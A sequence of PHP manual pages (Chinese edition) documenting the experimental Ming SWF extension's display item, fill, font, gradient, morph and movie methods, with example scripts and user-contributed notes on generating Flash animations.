本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->setdepth() sets the object's z-order to depth. Depth defaults to the order in which instances are created (by adding a shape/text to a movie)- newer ones are on top of older ones. If two objects are given the same depth, only the later-defined one can be moved.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->scaleTo | 上一级 | SWFDisplayItem->setName


SWFDisplayItem->setName

(no version information, might be only in CVS)

SWFDisplayItem->setName -- Sets the object's name

Description

void swfdisplayitem->setname ( string name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->setname() sets the object's name to name, for targetting with action script. Only useful on sprites.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->setDepth | 上一级 | SWFDisplayItem->setRatio


SWFDisplayItem->setRatio

(no version information, might be only in CVS)

SWFDisplayItem->setRatio -- Sets the object's ratio

Description

void swfdisplayitem->setratio ( float ratio )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->setratio() sets the object's ratio to ratio. Obviously only useful for morphs.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

This simple example will morph nicely three concentric circles.

例子 1. swfdisplayitem->setname() example

<?php

  $p = new SWFMorph();

  $g = new SWFGradient();
  $g->addEntry(0.0, 0, 0, 0);
  $g->addEntry(0.16, 0xff, 0xff, 0xff);
  $g->addEntry(0.32, 0, 0, 0);
  $g->addEntry(0.48, 0xff, 0xff, 0xff);
  $g->addEntry(0.64, 0, 0, 0);
  $g->addEntry(0.80, 0xff, 0xff, 0xff);
  $g->addEntry(1.00, 0, 0, 0);

  $s = $p->getShape1();
  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.05);
  $s->setLeftFill($f);
  $s->movePenTo(-160, -120);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $g = new SWFGradient();
  $g->addEntry(0.0, 0, 0, 0);
  $g->addEntry(0.16, 0xff, 0, 0);
  $g->addEntry(0.32, 0, 0, 0);
  $g->addEntry(0.48, 0, 0xff, 0);
  $g->addEntry(0.64, 0, 0, 0);
  $g->addEntry(0.80, 0, 0, 0xff);
  $g->addEntry(1.00, 0, 0, 0);

  $s = $p->getShape2();
  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.05);
  $f->skewXTo(1.0);
  $s->setLeftFill($f);
  $s->movePenTo(-160, -120);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m = new SWFMovie();
  $m->setDimension(320, 240);
  $i = $m->add($p);
  $i->moveTo(160, 120);

  for ($n=0; $n<=1.001; $n+=0.01) {
    $i->setRatio($n);
    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->setName | 上一级 | SWFDisplayItem->skewX


SWFDisplayItem->skewX

(no version information, might be only in CVS)

SWFDisplayItem->skewX -- Sets the X-skew

Description

void swfdisplayitem->skewx ( float ddegrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->skewx() adds ddegrees to current x-skew.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also
swfdisplayitem->skewx(),
swfdisplayitem->skewy() and
swfdisplayitem->skewyto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->setRatio | 上一级 | SWFDisplayItem->skewXTo


SWFDisplayItem->skewXTo

(no version information, might be only in CVS)

SWFDisplayItem->skewXTo -- Sets the X-skew

Description

void swfdisplayitem->skewxto ( float degrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->skewxto() sets the x-skew to degrees. For degrees is 1.0, it means a 45-degree forward slant. More is more forward, less is more backward.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also
swfdisplayitem->skewx(),
swfdisplayitem->skewy() and
swfdisplayitem->skewyto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->skewX | 上一级 | SWFDisplayItem->skewY


SWFDisplayItem->skewY

(no version information, might be only in CVS)

SWFDisplayItem->skewY -- Sets the Y-skew

Description

void swfdisplayitem->skewy ( float ddegrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->skewy() adds ddegrees to current y-skew.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also
swfdisplayitem->skewyto(),
swfdisplayitem->skewx() and
swfdisplayitem->skewxto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->skewXTo | 上一级 | SWFDisplayItem->skewYTo


SWFDisplayItem->skewYTo

(no version information, might be only in CVS)

SWFDisplayItem->skewYTo -- Sets the Y-skew

Description

void swfdisplayitem->skewyto ( float degrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem->skewyto() sets the y-skew to degrees. For degrees is 1.0, it means a 45-degree forward slant. More is more upward, less is more downward.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie->add().

See also
swfdisplayitem->skewy(),
swfdisplayitem->skewx() and
swfdisplayitem->skewxto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFDisplayItem->skewY | 上一级 | SWFDisplayItem


SWFDisplayItem

(no version information, might be only in CVS)

SWFDisplayItem -- Creates a new displayitem object

Description

SWFDisplayItem swfdisplayitem ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfdisplayitem() creates a new swfdisplayitem object.

Here's where all the animation takes place. After you define a shape, a text object, a sprite, or a button, you add it to the movie, then use the returned handle to move, rotate, scale, or skew the thing.

SWFDisplayItem has the following methods : swfdisplayitem->move(),
swfdisplayitem->moveto(), swfdisplayitem->scaleto(),
swfdisplayitem->scale(), swfdisplayitem->rotate(),
swfdisplayitem->rotateto(), swfdisplayitem->skewxto(),
swfdisplayitem->skewx(), swfdisplayitem->skewyto()
swfdisplayitem->skewyto(), swfdisplayitem->setdepth()
swfdisplayitem->remove(), swfdisplayitem->setname()
swfdisplayitem->setratio(), swfdisplayitem->addcolor()
and swfdisplayitem->multcolor().

add a note add a note User Contributed Notes
meja0011 at fh-karlsruhe dot de
27-Jun-2002 09:32
onClipEvent()

At the mailinglist on www.opaque.net I found SWFDisplayItem->addAction,
which is defined in ming-0.2a/php_ext/ming-4.0.7.c
Seems to be the equivalent to the onClipEvent() function in ActionScript:

void SWFDisplayItem->addAction(SWFAction action, int flags)

flags for SWFDisplayItem_addAction as PHP-Constants:

SWFACTION_ONLOAD
SWFACTION_ENTERFRAME
SWFACTION_UNLOAD
SWFACTION_MOUSEMOVE
SWFACTION_MOUSEDOWN
SWFACTION_MOUSEUP
SWFACTION_KEYDOWN
SWFACTION_KEYUP
SWFACTION_DATA

The following might be the same as onClipEvent(data) inside $child:

$m = new SWFMovie();
...
$child = new SWFMovie();
...
// SWFMovie->add returns SWFDisplayItem:
$i = $m->add($child);
$i->addAction($action_script, SWFACTION_DATA);

Jan
add a note add a note

后退 | 起点 | 前进
SWFDisplayItem->skewYTo | 上一级 | SWFFill->moveTo


SWFFill->moveTo

(no version information, might be only in CVS)

SWFFill->moveTo -- Moves fill origin

Description

void swffill->moveto ( int x, int y )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swffill->moveto() moves fill's origin to (x,y) in global coordinates.

add a note add a note User Contributed Notes
17-Jul-2003 03:05
onClipEvent()

At the mailinglist on www.opaque.net I found SWFDisplayItem->addAction,
which is defined in ming-0.2a/php_ext/ming-4.0.7.c
Seems to be the equivalent to the onClipEvent() function in ActionScript:

void SWFDisplayItem->addAction(SWFAction action, int flags)

flags for SWFDisplayItem_addAction as PHP-Constants:

SWFACTION_ONLOAD
SWFACTION_ENTERFRAME
SWFACTION_UNLOAD
SWFACTION_MOUSEMOVE
SWFACTION_MOUSEDOWN
SWFACTION_MOUSEUP
SWFACTION_KEYDOWN
SWFACTION_KEYUP
SWFACTION_DATA

The following might be the same as onClipEvent(data) inside $child:

$m = new SWFMovie();
...
$child = new SWFMovie();
...
// SWFMovie->add returns SWFDisplayItem:
$i = $m->add($child);
$i->addAction($action_script, SWFACTION_DATA);

Jan
add a note add a note

后退 | 起点 | 前进
SWFDisplayItem | 上一级 | SWFFill->rotateTo


SWFFill->rotateTo

(no version information, might be only in CVS)

SWFFill->rotateTo -- Sets fill's rotation

Description

void swffill->rotateto ( float degrees )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swffill->rotateto() sets fill's rotation to degrees degrees.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFFill->moveTo | 上一级 | SWFFill->scaleTo


SWFFill->scaleTo

(no version information, might be only in CVS)

SWFFill->scaleTo -- Sets fill's scale

Description

void swffill->scaleto ( int x [, int y] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swffill->scaleto() sets fill's scale to x in the x-direction, y in the y-direction.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFFill->rotateTo | 上一级 | SWFFill->skewXTo


SWFFill->skewXTo

(no version information, might be only in CVS)

SWFFill->skewXTo -- Sets fill x-skew

Description

void swffill->skewxto ( float x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swffill->skewxto() sets fill x-skew to x. For x is 1.0, it is a 45-degree forward slant. More is more forward, less is more backward.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFFill->scaleTo | 上一级 | SWFFill->skewYTo


SWFFill->skewYTo

(no version information, might be only in CVS)

SWFFill->skewYTo -- Sets fill y-skew

Description

void swffill->skewyto ( float y )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swffill->skewyto() sets fill y-skew to y. For y is 1.0, it is a 45-degree upward slant. More is more upward, less is more downward.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFFill->skewXTo | 上一级 | SWFFill


SWFFill

(PHP 4 >= 4.0.5)

SWFFill -- Loads SWFFill object

Description

SWFFill swffill ( void )

The swffill() object allows you to transform (scale, skew, rotate) bitmap and gradient fills. swffill() objects are created by the swfshape->addfill() methods.

SWFFill has the following methods: swffill->moveto()
and swffill->scaleto(), swffill->rotateto(),
swffill->skewxto() and swffill->skewyto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFFill->skewYTo | 上一级 | swffont->getwidth


swffont->getwidth

(no version information, might be only in CVS)

swffont->getwidth -- Returns the string's width

Description

float swffont->getwidth ( string string )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swffont->getwidth() returns the string string's width, using font's default scaling. You'll probably want to use the swftext() version of this method which uses the text object's scale.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFFill | 上一级 | SWFFont


SWFFont

(PHP 4 >= 4.0.5)

SWFFont -- Loads a font definition

Description

SWFFont swffont ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

If filename is the name of an FDB file (i.e., it ends in ".fdb"), load the font definition found in said file. Otherwise, create a browser-defined font reference.

FDB ("font definition block") is a very simple wrapper for the SWF DefineFont2 block which contains a full description of a font. One may create FDB files from SWT Generator template files with the included makefdb utility- look in the util directory off the main ming distribution directory.

Browser-defined fonts don't contain any information about the font other than its name. It is assumed that the font definition will be provided by the movie player. The fonts _serif, _sans, and _typewriter should always be available. For example:
<?php
$f = newSWFFont("_sans");
?>
will give you the standard sans-serif font, probably the same as what you'd get with <font name="sans-serif"> in HTML.

swffont() returns a reference to the font definition, for use in the swftext->setfont() and the swftextfield->setfont() methods.

SWFFont has the following methods : swffont->getwidth().

add a note add a note User Contributed Notes
phee, via isthisthingon dot org
07-Sep-2003 06:26
You may want to take note that if you try to open a font file that isn't readable or doesn't exist, you will NOT get any kind of error back. You will in fact get an SWFFont object back that looks perfectly okay even though it isn't. Do something like this instead:

if (@is_readable($fontfile)) {
  $font=new SWFFont($fontfile);
} else {
  echo "ERROR: Font \"$fontfile\" couldn't be loaded!\n";
}

Hopefully this will get fixed eventually, but for now... that's all you can do.
savc at blastcenter dot com
13-Feb-2002 07:32
Here is a simple text example

<?
  Ming_setScale(1.0);
  $f = new SWFFont("font.fdb");
  $t = new SWFText();
  $t->setFont($f);
  $t->moveTo(200, 240);
  $t->setColor(0xff, 0xff, 0);
  $t->setHeight(120);
  $t->addString("TEXT");
  $m = new SWFMovie();
  $m->setDimension(540, 360);
  $m->add($t);
  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

You can download some fonts from
http://www.blastcenter.com/clients/php/fonts/
add a note add a note

后退 | 起点 | 前进
swffont->getwidth | 上一级 | SWFGradient->addEntry


SWFGradient->addEntry

(no version information, might be only in CVS)

SWFGradient->addEntry -- Adds an entry to the gradient list

Description

void swfgradient->addentry ( float ratio, int red, int green, int blue [, int a] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfgradient->addentry() adds an entry to the gradient list. ratio is a number between 0 and 1 indicating where in the gradient this color appears. Thou shalt add entries in order of increasing ratio.

red, green, blue is a color (RGB mode). Last parameter a is optional.

add a note add a note User Contributed Notes
jolyon at mways dot co dot uk
01-Feb-2003 11:19
You only appear to be able to add up to 8 entries per gradient
add a note add a note

后退 | 起点 | 前进
SWFFont | 上一级 | SWFGradient


SWFGradient

(PHP 4 >= 4.0.5)

SWFGradient -- Creates a gradient object

Description

SWFGradient swfgradient ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfgradient() creates a new SWFGradient object.

After you've added the entries to your gradient, you can use the gradient in a shape fill with the swfshape->addfill() method.

SWFGradient has the following methods : swfgradient->addentry().

This simple example will draw a big black-to-white gradient as background, and a reddish disc in its center.

例子 1. swfgradient() example

<?php

  $m = new SWFMovie();
  $m->setDimension(320, 240);

  $s = new SWFShape();

  // first gradient- black to white
  $g = new SWFGradient();
  $g->addEntry(0.0, 0, 0, 0);
  $g->addEntry(1.0, 0xff, 0xff, 0xff);

  $f = $s->addFill($g, SWFFILL_LINEAR_GRADIENT);
  $f->scaleTo(0.01);
  $f->moveTo(160, 120);
  $s->setRightFill($f);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m->add($s);

  $s = new SWFShape();

  // second gradient- radial gradient from red to transparent
  $g = new SWFGradient();
  $g->addEntry(0.0, 0xff, 0, 0, 0xff);
  $g->addEntry(1.0, 0xff, 0, 0, 0);

  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.005);
  $f->moveTo(160, 120);
  $s->setRightFill($f);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m->add($s);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
mabuzzer at hotmail dot com
14-Mar-2002 02:49
Gradient fills are implemented in SWF as a color ramp, mapped onto a square from (-16384, -16384) to (16384, 16384) TWIPS.

The following code creates a movie, displaying a square with a gradient fill, correctly scaled to the size of the shape.

<?php

//Set the scale to TWIPS rather than PIXELS
ming_setscale(1.0);

//Create the movie
$m = new SWFMovie();
$m->setRate(12.0);
$m->setDimension(400,400);
$m->setBackground(0xff, 0xff, 0xff);

//Width and height of rectangle
$sx = 300;
$sy = 300;

//Create rectangle
$s = new SWFShape();

//Gradient file stuff here...
$g = new SWFGradient();
$g->addEntry(0.0, 0x00, 0x00, 0xff);    // Start off Blue
$g->addEntry(1.0, 0xff, 0xff, 0x00);    // Finish off Yellow

// Add gradient fill to the shape
$f = $s->addFill($g);

//Centre the gradient fill against the rectangle
$f->moveTo($sx/2, $sy/2);
//Scale it to the shape, so that the entire gradient fits inside the shape
$f->scaleTo($sx/32768, 1);

// Set the shapes fill to be the added gradient fill
$s->setRightFill($f);

//Draw the rectangle
$s->drawLine($sx, 0);
$s->drawLine(0, $sy);
$s->drawLine(-$sx, 0);
$s->drawLine(0, -$sy);

//Add the shape to the movie
$sh = $m->add($s);
$sh->moveTo(50, 50);

// Output the movie
header("Content-type: application/x-shockwave-flash");
$m->output();

?>

More info about this can be obtained from
http://www.openswf.org/spec/SWFfilereference.html#h4FillTypes
add a note add a note

后退 | 起点 | 前进
SWFGradient->addEntry | 上一级 | SWFMorph->getshape1


SWFMorph->getshape1

(no version information, might be only in CVS)

SWFMorph->getshape1 -- Gets a handle to the starting shape

Description

mixed swfmorph->getshape1 ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmorph->getshape1() gets a handle to the morph's starting shape. swfmorph->getshape1() returns an swfshape() object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFGradient | 上一级 | SWFMorph->getshape2


SWFMorph->getshape2

(no version information, might be only in CVS)

SWFMorph->getshape2 -- Gets a handle to the ending shape

Description

mixed swfmorph->getshape2 ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmorph->getshape2() gets a handle to the morph's ending shape. swfmorph->getshape2() returns an swfshape() object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMorph->getshape1 | 上一级 | SWFMorph


SWFMorph

(PHP 4 >= 4.0.5)

SWFMorph -- Creates a new SWFMorph object

Description

SWFMorph swfmorph ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmorph() creates a new SWFMorph object.

Also called a "shape tween". This thing lets you make those tacky twisting things that make your computer choke. Oh, joy!

The methods here are sort of weird. It would make more sense to just have newSWFMorph(shape1, shape2);, but as things are now, shape2 needs to know that it's the second part of a morph. (This, because it starts writing its output as soon as it gets drawing commands- if it kept its own description of its shapes and wrote on completion this and some other things would be much easier.)

SWFMorph has the following methods : swfmorph->getshape1() and swfmorph->getshape1().

This simple example will morph a big red square into a smaller blue black-bordered square.

例子 1. swfmorph() example

<?php
  $p = new SWFMorph();

  $s = $p->getShape1();
  $s->setLine(0, 0, 0, 0);

  /* Note that this is backwards from normal shapes (left instead of right).
     I have no idea why, but this seems to work.. */

  $s->setLeftFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(-1000,-1000);
  $s->drawLine(2000,0);
  $s->drawLine(0,2000);
  $s->drawLine(-2000,0);
  $s->drawLine(0,-2000);

  $s = $p->getShape2();
  $s->setLine(60,0,0,0);
  $s->setLeftFill($s->addFill(0, 0, 0xff));
  $s->movePenTo(0,-1000);
  $s->drawLine(1000,1000);
  $s->drawLine(-1000,1000);
  $s->drawLine(-1000,-1000);
  $s->drawLine(1000,-1000);

  $m = new SWFMovie();
  $m->setDimension(3000,2000);
  $m->setBackground(0xff, 0xff, 0xff);

  $i = $m->add($p);
  $i->moveTo(1500,1000);

  for ($r=0.0; $r<=1.0; $r+=0.1) {
    $i->setRatio($r);
    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
o dot marce at free dot fr
02-Oct-2005 05:03
setLine() is mandatory for shape got with getShape1 and getShape2, otherwise you will get a "failed assertion"
dk dot php dot net dot nospam at emanuelgreisen dot dk
15-Feb-2005 02:57
If you call getShape1() twize (by mistake, when copy-pasting). ming-0.3_beta1 will segfault.
add a note add a note

后退 | 起点 | 前进
SWFMorph->getshape2 | 上一级 | SWFMovie->add


SWFMovie->add

(no version information, might be only in CVS)

SWFMovie->add -- Adds any type of data to a movie

Description

void swfmovie->add ( resource instance )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->add() adds instance to the current movie. instance is any type of data : Shapes, text, fonts, etc. must all be added to the movie to make this work.

For displayable types (shape, text, button, sprite), this returns an swfdisplayitem(), a handle to the object in a display list. Thus, you can add the same shape to a movie multiple times and get separate handles back for each separate instance.

See also all other objects (adding this later), and swfmovie->remove()

See examples in : swfdisplayitem->rotateto() and swfshape->addfill().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMorph | 上一级 | SWFMovie->nextframe


SWFMovie->nextframe

(no version information, might be only in CVS)

SWFMovie->nextframe -- Moves to the next frame of the animation

Description

void swfmovie->nextframe ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->nextframe() moves to the next frame of the animation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie->add | 上一级 | SWFMovie->output


SWFMovie->output

(no version information, might be only in CVS)

SWFMovie->output -- Dumps your lovingly prepared movie out

Description

int swfmovie->output ( [int compression] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->output() dumps your lovingly prepared movie out. In PHP, preceding this with the command
<?php
header('Content-type: application/x-shockwave-flash');
?>
convinces the browser to display this as a flash movie.

The compression level can be a value between 0 and 9, defining the swf compression similar to gzip compression.

See also swfmovie->save().

See examples in :
swfmovie->streammp3(),
swfdisplayitem->rotateto(),
swfaction()...
Any example will use this method.

add a note add a note User Contributed Notes
jerryscript at aol dot com
05-Jan-2004 10:41
Ming 0.3 (current cvs) requires a compression setting of 0-9 in the call to output, for MX style comression, use 9.

$myMovie->output(9);
add a note add a note

后退 | 起点 | 前进
SWFMovie->nextframe | 上一级 | swfmovie->remove


swfmovie->remove

(no version information, might be only in CVS)

swfmovie->remove -- Removes the object instance from the display list

Description

void swfmovie->remove ( resource instance )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->remove() removes the object instance instance from the display list.

See also swfmovie->add().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie->output | 上一级 | SWFMovie->save


SWFMovie->save

(no version information, might be only in CVS)

SWFMovie->save -- Saves your movie in a file

Description

int swfmovie->save ( string filename [, int compression] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->save() saves your movie to the file named filename.

The compression level can be a value between 0 and 9, defining the swf compression similar to gzip compression.

See also swfmovie->output().

add a note add a note User Contributed Notes
jerryscript at aol dot com
05-Jan-2004 10:43
Ming 0.3 (current CVS) allows you to set the compression level 0-9 when saving to file.  Use 9 for MX style compression.

$myMovie->save($str_filename,9);
add a note add a note

后退 | 起点 | 前进
swfmovie->remove | 上一级 | SWFMovie->setbackground


SWFMovie->setbackground

(no version information, might be only in CVS)

SWFMovie->setbackground -- Sets the background color

Description

void swfmovie->setbackground ( int red, int green, int blue )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->setbackground() sets the background color. Why is there no rgba version? Think about it. (Actually, that's not such a dumb question after all- you might want to let the HTML background show through. There's a way to do that, but it only works on IE4. Search the http://www.macromedia.com/ site for details.)

add a note add a note User Contributed Notes
martin lindhe
06-Feb-2006 11:25
If you specify bgcolor in the html tags embedding the flash movie, this command have no effect.

To make setBackground() have an effect, make sure you remove

<param name="bgcolor" value="#ffffff>" />

and remove bgcolor="#ffffff" part from:
<embed src="file.swf" quality="high" bgcolor="#ffffff" ...>
08-Aug-2001 06:28
here's how to make the background transparent (IE4 or higher):
<param name="wmode" value="transparent">
add a note add a note

后退 | 起点 | 前进
SWFMovie->save | 上一级 | SWFMovie->setdimension


SWFMovie->setdimension

(no version information, might be only in CVS)

SWFMovie->setdimension -- Sets the movie's width and height

Description

void swfmovie->setdimension ( int width, int height )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->setdimension() sets the movie's width to width and height to height.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie->setbackground | 上一级 | SWFMovie->setframes


SWFMovie->setframes

(no version information, might be only in CVS)

SWFMovie->setframes -- Sets the total number of frames in the animation

Description

void swfmovie->setframes ( string numberofframes )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->setframes() sets the total number of frames in the animation to numberofframes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie->setdimension | 上一级 | SWFMovie->setrate


SWFMovie->setrate

(no version information, might be only in CVS)

SWFMovie->setrate -- Sets the animation's frame rate

Description

void swfmovie->setrate ( int rate )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->setrate() sets the frame rate to rate, in frame per seconds. Animation will slow down if the player can't render frames fast enough- unless there's a streaming sound, in which case display frames are sacrificed to keep sound from skipping.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFMovie->setframes | 上一级 | SWFMovie->streammp3


SWFMovie->streammp3

(no version information, might be only in CVS)

SWFMovie->streammp3 -- Streams a MP3 file

Description

void swfmovie->streammp3 ( mixed mp3File )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie->streammp3() streams the mp3 file mp3File. Not very robust in dealing with oddities (can skip over an initial ID3 tag, but that's about it). Like swfshape->addjpegfill(), this isn't a stable function- we'll probably need to make a separate SWFSound object to contain sound types. Parameter mp3File can be a fopen() resource or a binary string.

Note that the movie isn't smart enough to put enough frames in to contain the entire mp3 stream- you'll have to add (length of song * frames per second) frames to get the entire stream in.

Yes, now you can use ming to put that rock and roll devil worship music into your SWF files. Just don't tell the RIAA.

例子 1. swfmovie->streammp3() example

<?php
  $m = new SWFMovie();
  $m->setRate(12.0);
  $m->streamMp3(file_get_contents("distortobass.mp3"));
  // use your own MP3

  // 11.85 seconds at 12.0 fps = 142 frames
  $m->setFrames(142);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

add a note add a note User Contributed Notes
boo at php dot net
21-Sep-2002 06:02
Don't forget to use fopen function in example above !

Use
$m->streamMp3(fopen("distortobass.mp3", "rb"));
instead of
$m->streamMp3("distortobass.mp3");

I hope this is useful for you :)
mued at muetdhiver dot org
18-May-2001 12:39
a nice feature to handle Id3tag is to get support from Unix mp3info command into a returning exec parsing
add a note add a note

后退 | 起点 | 前进
SWFMovie->setrate | 上一级 | SWFMovie


SWFMovie

(PHP 4 >= 4.0.5)

SWFMovie -- Creates a new movie object, representing an SWF version 4 movie

Description

SWFMovie swfmovie ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swfmovie() creates a new movie object, representing an SWF version 4 movie.

SWFMovie has the following methods :
